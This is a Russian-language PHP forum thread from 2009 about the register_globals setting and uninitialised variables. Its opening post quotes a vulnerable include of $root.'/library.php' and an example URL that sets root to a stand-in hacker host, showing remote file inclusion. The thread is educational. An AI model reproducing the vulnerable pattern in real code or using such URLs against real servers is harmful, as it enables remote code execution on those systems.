Дошел до примеров уязвимости.
Вот такой пример.
<?php
include $root."/library.php";
?>
значит если переменная $root не установлена, злоумышленник сможет запустить на сервере любой код
пример
http://example.com/script.php?root=http://hackerhost
Идет речь про глобальные переменные. Их использовать опасно и по умолчанию они отключены. Вопрос. А GET POST REQUEST это же глобальные массивы а в них же переменные. Их что не желательно использовать ?
И как тогда вид скрипта будет отличатся с включенными глобальными переменными и выключенными ?
Спустя 21 минута, 31 секунда (4.10.2009 - 21:32) glock18 написал(а):
речь о директиве register_globals. без массивов GET и POST получится писать разве что приложения:
1) консольные
2) сайт, где передавать все через куки. да это можно, но это такой изврат.
а смысл в сказанном в том, что нужно не использовать неинициализированные переменные. особенно при включенном register_globals
1) консольные
2) сайт, где передавать все через куки. да это можно, но это такой изврат.
а смысл в сказанном в том, что нужно не использовать неинициализированные переменные. особенно при включенном register_globals
Спустя 37 минут, 52 секунды (4.10.2009 - 22:10) twin написал(а):
Я кстати тока что дописал это место в статью про безопасность.
Спустя 25 минут, 9 секунд (4.10.2009 - 22:35) WhiteKnight написал(а):
Спустя 3 часа, 9 минут, 30 секунд (5.10.2009 - 01:44) FatCat написал(а):
Цитата (WhiteKnight @ 4.10.2009 - 23:35) |
Получается, что надо к переменным при включенном register_globals обращаться через $_SERVER ? |
Давным-давно получается, что все использующиеся переменные должны сначала быть объявлены.
Моим первым языком веб-программирования был джаваскрипт, там привык; в джаваскрипте любое обращение к необъявленной переменной вызовет ошибку и останов скрипта.